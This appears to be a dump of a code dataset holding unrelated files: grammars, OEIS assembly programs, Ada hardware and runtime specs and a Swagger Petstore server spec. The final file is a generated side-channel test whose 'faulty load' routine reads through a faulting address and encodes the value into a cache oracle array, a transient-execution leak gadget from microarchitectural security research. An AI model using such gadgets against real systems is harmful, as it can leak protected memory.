max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
message/generation/swift-mt-definition/format/SwiftMtComponentFormat.g4
Yanick-Salzmann/message-converter-c
0
6759
grammar SwiftMtComponentFormat; @lexer::header { #include "../proto/SwiftMtMessageDefinition.pb.h" #include <vector> #include <string> #include "BaseErrorListener.h" } @parser::header { #include "../proto/SwiftMtMessageDefinition.pb.h" #include <vector> #include <string> #include "BaseErrorListener.h" #include "SwiftMtComponentFormatLexer.h" } @parser::members { private: std::vector<std::string> _errors; std::vector<ComponentFormat> _components; ComponentFormat _current_component; public: [[nodiscard]] const std::vector<std::string>& errors() const { return _errors; } private: class DefaultErrorListener : public antlr4::BaseErrorListener { private: std::vector<std::string>& _errors; public: explicit DefaultErrorListener(std::vector<std::string>& errors) : _errors(errors) { } void syntaxError(Recognizer *recognizer, antlr4::Token * offendingSymbol, size_t line, size_t charPositionInLine, const std::string &msg, std::exception_ptr e) override { _errors.push_back(msg); } }; DefaultErrorListener _error_listener { _errors }; bool parse_format(std::vector<ComponentFormat>& components, std::vector<std::string>& errors) { _errors.clear(); removeErrorListeners(); addErrorListener(&_error_listener); _components.clear(); field_format(); if(!_errors.empty()) { errors.insert(errors.end(), _errors.begin(), _errors.end()); return false; } components.insert(components.end(), _components.begin(), _components.end()); return true; } void new_component() { _current_component = ComponentFormat{}; } uint32_t to_unsigned_int(const std::string& text) { return std::stoul(text); } public: static bool parse(const std::string& format, std::vector<ComponentFormat>& components, std::vector<std::string>& errors) { antlr4::ANTLRInputStream stream{format}; SwiftMtComponentFormatLexer lexer{&stream}; antlr4::CommonTokenStream token_stream{&lexer}; SwiftMtComponentFormatParser parser{&token_stream}; return parser.parse_format(components, errors); } } field_format : (comp_format separator?)+ EOF; comp_format @init { new_component(); } @after { _components.emplace_back(_current_component); } : component | optional_component; optional_component @init { _current_component.set_is_optional(true); } : LBRACKET cntt = opt_comp_cttnt { *_current_component.mutable_full_format() = $cntt.text; } RBRACKET; opt_comp_cttnt : sep_before = separator? { *_current_component.mutable_separator_before() = $sep_before.text; } (length_restricted | sign | constant | comp_format)+ sep_after = separator? { *_current_component.mutable_separator_after() = $sep_after.text; } ; component @after { *_current_component.mutable_full_format() = $text; } : separator? (length_restricted | constant) separator?; separator : ANY+; length_restricted : length_restriction charset_type; sign : 'N'; constant : IDENTIFIER; charset_type : CHARSET_NUMERIC | CHARSET_ALPHA | CHARSET_ALPHA_NUMERIC | CHARSET_HEX | CHARSET_X | CHARSET_Y | CHARSET_Z | CHARSET_DECIMALS | CHARSET_BLANK; length_restriction : exact_restriction | range_restriction | line_restriction | max_restriction; exact_restriction @after { _current_component.set_fixed_length(true); const auto length = to_unsigned_int($text); _current_component.set_min_length(length); _current_component.set_max_length(length); } : max_two_digit '!'; range_restriction : range_min = max_two_digit { _current_component.set_min_length(to_unsigned_int($range_min.text)); } '-' range_max = max_two_digit { _current_component.set_max_length(to_unsigned_int($range_max.text)); } ; line_restriction : num_lines = max_two_digit { _current_component.set_line_count(to_unsigned_int($num_lines.text)); } '*' line_size = max_two_digit { _current_component.set_max_length(to_unsigned_int($line_size.text)); }; max_restriction @after { _current_component.set_min_length(0); _current_component.set_max_length(to_unsigned_int($text)); } : max_two_digit; max_two_digit : DIGIT DIGIT? ; IDENTIFIER : UPPERCASE_CHAR+; CHARSET_NUMERIC : 'n'; CHARSET_ALPHA : 'a'; CHARSET_ALPHA_NUMERIC : 'c'; CHARSET_HEX : 'h'; CHARSET_X : 'x'; CHARSET_Y : 'y'; CHARSET_Z : 'z'; CHARSET_DECIMALS : 'd'; CHARSET_BLANK : 'e'; DIGIT : '0'..'9'; UPPERCASE_CHAR : 'A'..'Z'; LBRACKET : '['; RBRACKET : ']'; ANY : . ;
oeis/131/A131326.asm
neoneye/loda-programs
11
95652
<gh_stars>10-100 ; A131326: Row sums of A131325. ; 1,3,4,9,13,24,37,63,100,165,265,432,697,1131,1828,2961,4789,7752,12541,20295,32836,53133,85969,139104,225073,364179,589252,953433,1542685,2496120,4038805,6534927,10573732,17108661,27682393,44791056,72473449,117264507,189737956,307002465,496740421,803742888,1300483309,2104226199,3404709508,5508935709,8913645217,14422580928,23336226145,37758807075,61095033220,98853840297,159948873517,258802713816,418751587333,677554301151,1096305888484,1773860189637,2870166078121,4644026267760,7514192345881 add $0,1 seq $0,97133 ; 3*Fibonacci(n)+(-1)^n. sub $0,1
antler-ver/grammer/emlg.g4
Dillnot/emoticon-lang
0
2085
//the gramer of the emoticon lang grammar emlg; program : seq_com EOF # prog ; //Declarations //var_decl // : type ID ASSN expr # var // ; //type // : BOOL # bool // | INT # int // ; //comands com : ID ASSN expr EOE # assn | IF expr LPAR c1=seq_com ( RPAR | ELSE LPAR c2=seq_com RPAR ) # if | WHILE expr LPAR seq_com RPAR # while | PRINT ID EOE #print | PRINT CHAR ID+ EOE #printchar | READ ID EOE #read ; seq_com : com* # seq ; //exprson expr : e1=sec_expr ( op=(EQ | LT | GT) e2=sec_expr )* ; sec_expr : e1=prim_expr ( op=(PLUS | MINUS | TIMES | DIV) e2=sec_expr )? ; prim_expr : FALSE # false | TRUE # true | NUM # num | ID # id | NOT prim_expr # not | LPAR expr RPAR # parens ; //lexicon PRINT : ':O'; CHAR : ':#'; READ : '|‑O'; ASSN : 'XD'; //BOOL : ':P'; //INT : ':|'; LPAR : '<3'; RPAR : '</3'; IF : 'O_o'; ELSE : 'o_O'; WHILE : '><>'; EOE : ':$'; EQ : ':@'; LT : ':<'; GT : ':>'; PLUS : ':3'; MINUS : '<:|'; TIMES : ':D'; DIV : 'D:'; FALSE : '}:)'; TRUE : 'O:)'; NOT : ':&'; NUM : DIGIT+ ; fragment DIGIT : '0'..'9' ; ID : ':' PARTOFID+ ; fragment PARTOFID : ')' ; //ignore SPACE : (' ' | '\t')+ -> skip ; EOL : '\r'? '\n' -> skip ; COMMENT : ('a'..'z' | 'A'..'Z') -> skip;
arch/ARM/STM32/svd/stm32l5x2/stm32_svd-nvic.ads
morbos/Ada_Drivers_Library
2
12648
-- This spec has been automatically generated from STM32L5x2.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; pragma Style_Checks (Off); with HAL; with System; package STM32_SVD.NVIC is pragma Preelaborate; --------------- -- Registers -- --------------- -- IPR_IPR_N array element subtype IPR_IPR_N_Element is HAL.UInt8; -- IPR_IPR_N array type IPR_IPR_N_Field_Array is array (0 .. 3) of IPR_IPR_N_Element with Component_Size => 8, Size => 32; -- Interrupt Priority Register type IPR_Register (As_Array : Boolean := False) is record case As_Array is when False => -- IPR_N as a value Val : HAL.UInt32; when True => -- IPR_N as an array Arr : IPR_IPR_N_Field_Array; end case; end record with Unchecked_Union, Size => 32, Volatile_Full_Access, Bit_Order => System.Low_Order_First; for IPR_Register use record Val at 0 range 0 .. 31; Arr at 0 range 0 .. 31; end record; subtype STIR_INTID_Field is HAL.UInt9; -- Software trigger interrupt register type STIR_Register is record -- Software generated interrupt ID INTID : STIR_INTID_Field := 16#0#; -- unspecified Reserved_9_31 : HAL.UInt23 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for STIR_Register use record INTID at 0 range 0 .. 8; Reserved_9_31 at 0 range 9 .. 31; end record; ----------------- -- Peripherals -- ----------------- -- Nested Vectored Interrupt Controller type NVIC_Peripheral is record -- Interrupt Set-Enable Register ISER0 : aliased HAL.UInt32; -- Interrupt Set-Enable Register ISER1 : aliased HAL.UInt32; -- Interrupt Set-Enable Register ISER2 : aliased HAL.UInt32; -- Interrupt Set-Enable Register ISER3 : aliased HAL.UInt32; -- Interrupt Clear-Enable Register ICER0 : aliased HAL.UInt32; -- Interrupt Clear-Enable Register ICER1 : aliased HAL.UInt32; -- Interrupt Clear-Enable Register ICER2 : aliased HAL.UInt32; -- Interrupt Clear-Enable Register ICER3 : aliased HAL.UInt32; -- Interrupt Set-Pending Register ISPR0 : aliased HAL.UInt32; -- Interrupt Set-Pending Register ISPR1 : aliased HAL.UInt32; -- Interrupt Set-Pending Register ISPR2 : aliased HAL.UInt32; -- Interrupt Set-Pending Register ISPR3 : aliased HAL.UInt32; -- Interrupt Clear-Pending Register ICPR0 : aliased HAL.UInt32; -- Interrupt Clear-Pending Register ICPR1 : aliased HAL.UInt32; -- Interrupt Clear-Pending Register ICPR2 : aliased HAL.UInt32; -- Interrupt Clear-Pending Register ICPR3 : aliased HAL.UInt32; -- Interrupt Active Bit Register IABR0 : aliased HAL.UInt32; -- Interrupt Active Bit Register IABR1 : aliased HAL.UInt32; -- Interrupt Active Bit Register IABR2 : aliased HAL.UInt32; -- Interrupt Active Bit Register IABR3 : aliased HAL.UInt32; -- ITNS0 ITNS0 : aliased HAL.UInt32; -- ITNS1 ITNS1 : aliased HAL.UInt32; -- ITNS2 ITNS2 : aliased HAL.UInt32; -- ITNS3 ITNS3 : aliased HAL.UInt32; -- ITNS4 ITNS4 : aliased HAL.UInt32; -- ITNS5 ITNS5 : aliased HAL.UInt32; -- ITNS6 ITNS6 : aliased HAL.UInt32; -- ITNS7 ITNS7 : aliased HAL.UInt32; -- ITNS8 ITNS8 : aliased HAL.UInt32; -- ITNS9 ITNS9 : aliased HAL.UInt32; -- ITNS10 ITNS10 : aliased HAL.UInt32; -- ITNS11 ITNS11 : aliased HAL.UInt32; -- ITNS12 ITNS12 : aliased HAL.UInt32; -- ITNS13 ITNS13 : aliased HAL.UInt32; -- ITNS14 ITNS14 : aliased HAL.UInt32; -- ITNS15 ITNS15 : aliased HAL.UInt32; -- Interrupt Priority Register IPR0 : aliased IPR_Register; -- Interrupt Priority Register IPR1 : aliased IPR_Register; -- Interrupt Priority Register IPR2 : aliased IPR_Register; -- Interrupt Priority Register IPR3 : aliased IPR_Register; -- Interrupt Priority Register IPR4 : aliased IPR_Register; -- Interrupt Priority Register IPR5 : aliased IPR_Register; -- Interrupt Priority Register IPR6 : aliased IPR_Register; -- Interrupt Priority Register IPR7 : aliased IPR_Register; -- Interrupt Priority Register IPR8 : aliased IPR_Register; -- Interrupt Priority Register IPR9 : aliased IPR_Register; -- Interrupt Priority Register IPR10 : aliased IPR_Register; -- Interrupt Priority Register IPR11 : aliased IPR_Register; -- Interrupt Priority Register IPR12 : aliased IPR_Register; -- Interrupt Priority Register IPR13 : aliased IPR_Register; -- Interrupt Priority Register IPR14 : aliased IPR_Register; -- Interrupt Priority Register IPR15 : aliased IPR_Register; -- Interrupt Priority Register IPR16 : aliased IPR_Register; -- Interrupt Priority Register IPR17 : aliased IPR_Register; -- Interrupt Priority Register IPR18 : aliased IPR_Register; -- Interrupt Priority Register IPR19 : aliased IPR_Register; -- Interrupt Priority Register IPR20 : aliased IPR_Register; -- IPR21 IPR21 : aliased HAL.UInt32; -- IPR22 IPR22 : aliased HAL.UInt32; -- IPR23 IPR23 : aliased HAL.UInt32; -- IPR24 IPR24 : aliased HAL.UInt32; -- IPR25 IPR25 : aliased HAL.UInt32; -- IPR26 IPR26 : aliased HAL.UInt32; -- IPR27 IPR27 : aliased HAL.UInt32; -- IPR28 IPR28 : aliased HAL.UInt32; -- IPR29 IPR29 : aliased HAL.UInt32; end record with Volatile; for NVIC_Peripheral use record ISER0 at 16#0# range 0 .. 31; ISER1 at 16#4# range 0 .. 31; ISER2 at 16#8# range 0 .. 31; ISER3 at 16#C# range 0 .. 31; ICER0 at 16#80# range 0 .. 31; ICER1 at 16#84# range 0 .. 31; ICER2 at 16#88# range 0 .. 31; ICER3 at 16#8C# range 0 .. 31; ISPR0 at 16#100# range 0 .. 31; ISPR1 at 16#104# range 0 .. 31; ISPR2 at 16#108# range 0 .. 31; ISPR3 at 16#10C# range 0 .. 31; ICPR0 at 16#180# range 0 .. 31; ICPR1 at 16#184# range 0 .. 31; ICPR2 at 16#188# range 0 .. 31; ICPR3 at 16#18C# range 0 .. 31; IABR0 at 16#200# range 0 .. 31; IABR1 at 16#204# range 0 .. 31; IABR2 at 16#208# range 0 .. 31; IABR3 at 16#20C# range 0 .. 31; ITNS0 at 16#280# range 0 .. 31; ITNS1 at 16#284# range 0 .. 31; ITNS2 at 16#288# range 0 .. 31; ITNS3 at 16#28C# range 0 .. 31; ITNS4 at 16#290# range 0 .. 31; ITNS5 at 16#294# range 0 .. 31; ITNS6 at 16#298# range 0 .. 31; ITNS7 at 16#29C# range 0 .. 31; ITNS8 at 16#2A0# range 0 .. 31; ITNS9 at 16#2A4# range 0 .. 31; ITNS10 at 16#2A8# range 0 .. 31; ITNS11 at 16#2AC# range 0 .. 31; ITNS12 at 16#2B0# range 0 .. 31; ITNS13 at 16#2B4# range 0 .. 31; ITNS14 at 16#2B8# range 0 .. 31; ITNS15 at 16#2BC# range 0 .. 31; IPR0 at 16#300# range 0 .. 31; IPR1 at 16#304# range 0 .. 31; IPR2 at 16#308# range 0 .. 31; IPR3 at 16#30C# range 0 .. 31; IPR4 at 16#310# range 0 .. 31; IPR5 at 16#314# range 0 .. 31; IPR6 at 16#318# range 0 .. 31; IPR7 at 16#31C# range 0 .. 31; IPR8 at 16#320# range 0 .. 31; IPR9 at 16#324# range 0 .. 31; IPR10 at 16#328# range 0 .. 31; IPR11 at 16#32C# range 0 .. 31; IPR12 at 16#330# range 0 .. 31; IPR13 at 16#334# range 0 .. 31; IPR14 at 16#338# range 0 .. 31; IPR15 at 16#33C# range 0 .. 31; IPR16 at 16#340# range 0 .. 31; IPR17 at 16#344# range 0 .. 31; IPR18 at 16#348# range 0 .. 31; IPR19 at 16#34C# range 0 .. 31; IPR20 at 16#350# range 0 .. 31; IPR21 at 16#354# range 0 .. 31; IPR22 at 16#358# range 0 .. 31; IPR23 at 16#35C# range 0 .. 31; IPR24 at 16#360# range 0 .. 31; IPR25 at 16#364# range 0 .. 31; IPR26 at 16#368# range 0 .. 31; IPR27 at 16#36C# range 0 .. 31; IPR28 at 16#370# range 0 .. 31; IPR29 at 16#374# range 0 .. 31; end record; -- Nested Vectored Interrupt Controller NVIC_Periph : aliased NVIC_Peripheral with Import, Address => System'To_Address (16#E000E100#); -- Nested vectored interrupt controller type NVIC_STIR_Peripheral is record -- Software trigger interrupt register STIR : aliased STIR_Register; end record with Volatile; for NVIC_STIR_Peripheral use record STIR at 0 range 0 .. 31; end record; -- Nested vectored interrupt controller NVIC_STIR_Periph : aliased NVIC_STIR_Peripheral with Import, Address => System'To_Address (16#E000EF00#); end STM32_SVD.NVIC;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/discr16.adb
best08618/asylo
7
3740
<reponame>best08618/asylo<filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/discr16.adb<gh_stars>1-10 -- { dg-do compile } with Discr16_G; with Discr16_Cont; use Discr16_Cont; procedure Discr16 is generic type T is (<>); function MAX_ADD_G(X : T; I : INTEGER) return T; function MAX_ADD_G(X : T; I : INTEGER) return T is begin return T'val(T'pos(X) + LONG_INTEGER(I)); end; function MAX_ADD is new MAX_ADD_G(ES6A); package P is new Discr16_G(ES6A, MAX_ADD); begin null; end;
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnarl/s-tasinf__mingw.adb
djamal2727/Main-Bearing-Analytical-Model
0
11900
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S Y S T E M . T A S K _ I N F O -- -- -- -- B o d y -- -- -- -- Copyright (C) 2007-2020, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This is the Windows (native) version of this module with System.OS_Interface; pragma Unreferenced (System.OS_Interface); -- System.OS_Interface is not used today, but the protocol between the -- run-time and the binder is that any tasking application uses -- System.OS_Interface, so notify the binder with this "with" clause. package body System.Task_Info is N_CPU : Natural := 0; pragma Atomic (N_CPU); -- Cache CPU number. Use pragma Atomic to avoid a race condition when -- setting N_CPU in Number_Of_Processors below. -------------------------- -- Number_Of_Processors -- -------------------------- function Number_Of_Processors return Positive is begin if N_CPU = 0 then declare SI : aliased Win32.SYSTEM_INFO; begin Win32.GetSystemInfo (SI'Access); N_CPU := Positive (SI.dwNumberOfProcessors); end; end if; return N_CPU; end Number_Of_Processors; end System.Task_Info;
snapshot/Ada/server-spec.ada
daemonl/openapi-codegen
0
30153
-- Swagger Petstore -- This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters. -- ------------ EDIT NOTE ------------ -- This file was generated with swagger-codegen. You can modify it to implement -- the server. After you modify this file, you should add the following line -- to the .swagger-codegen-ignore file: -- -- src/IO.OpenAPI-servers.ads -- -- Then, you can drop this edit note comment. -- ------------ EDIT NOTE ------------ with IO.OpenAPI.Model.Default; with Swagger.Servers; with IO.OpenAPI.Api.Models; with IO.OpenAPI.Api.Skeletons; package IO.OpenAPI.Api.Servers is use IO.OpenAPI.Api.Models; type Server_Type is limited new IO.OpenAPI.Api.Skeletons.Server_Type with null record; -- Add a new pet to the store overriding procedure addPet (Server : in out Server_Type; body : in object; Context : in out Swagger.Servers.Context_Type); -- Update an existing pet overriding procedure updatePet (Server : in out Server_Type; body : in object; Context : in out Swagger.Servers.Context_Type); -- Finds Pets by status overriding procedure findPetsByStatus (Server : in out Server_Type; status : in array; Result : out array; Context : in out Swagger.Servers.Context_Type); -- Finds Pets by tags overriding procedure findPetsByTags (Server : in out Server_Type; tags : in array; Result : out array; Context : in out Swagger.Servers.Context_Type); -- Find pet by ID overriding procedure getPetById (Server : in out Server_Type; petId : in integer; Result : out Pet; Context : in out Swagger.Servers.Context_Type); -- Updates a pet in the store with form data overriding procedure updatePetWithForm (Server : in out Server_Type; petId : in integer; body : in object; Context : in out Swagger.Servers.Context_Type); -- Deletes a pet overriding procedure deletePet (Server : in out Server_Type; petId : in integer; api_key : in string; Context : in out Swagger.Servers.Context_Type); -- uploads an image overriding procedure uploadFile (Server : in out Server_Type; petId : in integer; body : in string; Result : out ApiResponse; Context : in out Swagger.Servers.Context_Type); -- Returns pet inventories by status overriding procedure getInventory (Server : in out Server_Type ; Result : out object; Context : in out Swagger.Servers.Context_Type); -- Place an order for a pet overriding procedure placeOrder (Server : in out Server_Type; body : in object; Result : out Order; Context : in out Swagger.Servers.Context_Type); -- Find purchase order by ID overriding procedure getOrderById (Server : in out Server_Type; orderId : in integer; Result : out Order; Context : in out Swagger.Servers.Context_Type); -- Delete purchase order by ID overriding procedure deleteOrder (Server : in out Server_Type; orderId : in integer; Context : in out Swagger.Servers.Context_Type); -- Create user overriding procedure createUser (Server : in out Server_Type; body : in object; Context : in out Swagger.Servers.Context_Type); -- Creates list of users with given input array overriding procedure createUsersWithArrayInput (Server : in out Server_Type; body : in array; Context : in out Swagger.Servers.Context_Type); -- Creates list of users with given input array overriding procedure createUsersWithListInput (Server : in out Server_Type; body : in array; Context : in out Swagger.Servers.Context_Type); -- Logs user into the system overriding procedure loginUser (Server : in out Server_Type; username : in string; password : in string; Result : out string; Context : in out Swagger.Servers.Context_Type); -- Logs out current logged in user session overriding procedure logoutUser (Server : in out Server_Type ; Context : in out Swagger.Servers.Context_Type); -- Get user by user name overriding procedure getUserByName (Server : in out Server_Type; username : in string; Result : out User; Context : in out Swagger.Servers.Context_Type); -- Updated user overriding procedure updateUser (Server : in out Server_Type; username : in string; body : in object; Context : in out Swagger.Servers.Context_Type); -- Delete user overriding procedure deleteUser (Server : in out Server_Type; username : in string; Context : in out Swagger.Servers.Context_Type); package Server_Impl is new IO.OpenAPI.Api.Skeletons.Shared_Instance (Server_Type); end IO.OpenAPI.Api.Servers;
programs/oeis/327/A327672.asm
neoneye/loda
22
65
; A327672: a(n) = Sum_{k=0..n} ceiling(sqrt(k)). ; 0,1,3,5,7,10,13,16,19,22,26,30,34,38,42,46,50,55,60,65,70,75,80,85,90,95,101,107,113,119,125,131,137,143,149,155,161,168,175,182,189,196,203,210,217,224,231,238,245,252,260,268,276,284,292,300,308,316,324,332,340,348,356,364,372,381,390,399,408,417,426,435,444,453,462,471,480,489,498,507,516,525,535,545,555,565,575,585,595,605,615,625,635,645,655,665,675,685,695,705 lpb $0 add $1,$0 add $2,2 sub $0,$2 add $0,2 trn $0,1 lpe mov $0,$1
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2212.asm
ljhsiun2/medusa
9
171930
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1462c, %rcx nop nop nop nop cmp $25733, %r12 mov (%rcx), %rdi nop sub %rsi, %rsi lea addresses_A_ht+0xc2c, %rsi nop nop cmp %rbx, %rbx movl $0x61626364, (%rsi) nop xor %rcx, %rcx lea addresses_D_ht+0x1062c, %rcx nop nop nop sub %r14, %r14 movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r12 nop nop nop inc %rsi lea addresses_D_ht+0x682c, %rcx cmp $61238, %r14 mov $0x6162636465666768, %rbx movq %rbx, %xmm2 movups %xmm2, (%rcx) nop nop inc %rdi lea addresses_D_ht+0x17c2c, %rsi lea addresses_UC_ht+0x203d, %rdi nop nop add %r11, %r11 mov $24, %rcx rep movsb sub %r11, %r11 lea addresses_normal_ht+0xb7ac, %rsi lea addresses_WT_ht+0xde00, %rdi nop nop nop nop nop and %r14, %r14 mov $3, %rcx rep movsq nop nop nop nop and $35126, %rsi lea addresses_D_ht+0x1612c, %rsi lea addresses_D_ht+0x105ec, %rdi clflush (%rsi) nop nop nop nop nop xor $25493, %r14 mov $113, %rcx rep movsb nop nop nop sub %r14, %r14 lea addresses_WT_ht+0x8f2c, %rbx nop nop nop nop inc %rcx movw $0x6162, (%rbx) nop nop dec %r12 lea addresses_normal_ht+0x6336, %rsi lea addresses_A_ht+0x1240c, %rdi nop nop nop sub %r12, %r12 mov $48, %rcx rep movsb nop nop cmp $21663, %r13 lea addresses_A_ht+0xd62c, %rsi lea addresses_D_ht+0x18344, %rdi clflush (%rsi) nop nop nop nop nop and $44157, %r11 mov $15, %rcx rep movsq nop nop nop nop and $45312, %r14 lea addresses_WC_ht+0xe3ec, %r11 add %rdi, %rdi mov (%r11), %rbx nop nop nop nop nop xor %rcx, %rcx lea addresses_normal_ht+0xc82c, %rsi lea addresses_D_ht+0x5954, %rdi clflush (%rdi) nop nop nop nop xor $7864, %r12 mov $16, %rcx rep movsb nop nop nop cmp %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r9 push %rbx push %rcx push %rdi // Store lea addresses_D+0x3298, %rdi and $52571, %r10 movl $0x51525354, (%rdi) nop nop nop nop and %r15, %r15 // Load mov $0x2dc, %rcx nop nop nop nop sub %r9, %r9 movb (%rcx), %r15b nop nop nop xor %rbx, %rbx // Load mov $0x2, %r9 clflush (%r9) cmp %r10, %r10 movups (%r9), %xmm5 vpextrq $1, %xmm5, %rdi nop nop cmp %r9, %r9 // Store lea addresses_normal+0x17f2c, %r10 nop nop nop nop nop cmp $45503, %r9 movw $0x5152, (%r10) nop nop nop nop nop cmp %rbx, %rbx // Faulty Load lea addresses_RW+0x762c, %r10 nop inc %rcx movups (%r10), %xmm4 vpextrq $1, %xmm4, %rdi lea oracles, %rbx and $0xff, %rdi shlq $12, %rdi mov (%rbx,%rdi,1), %rdi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 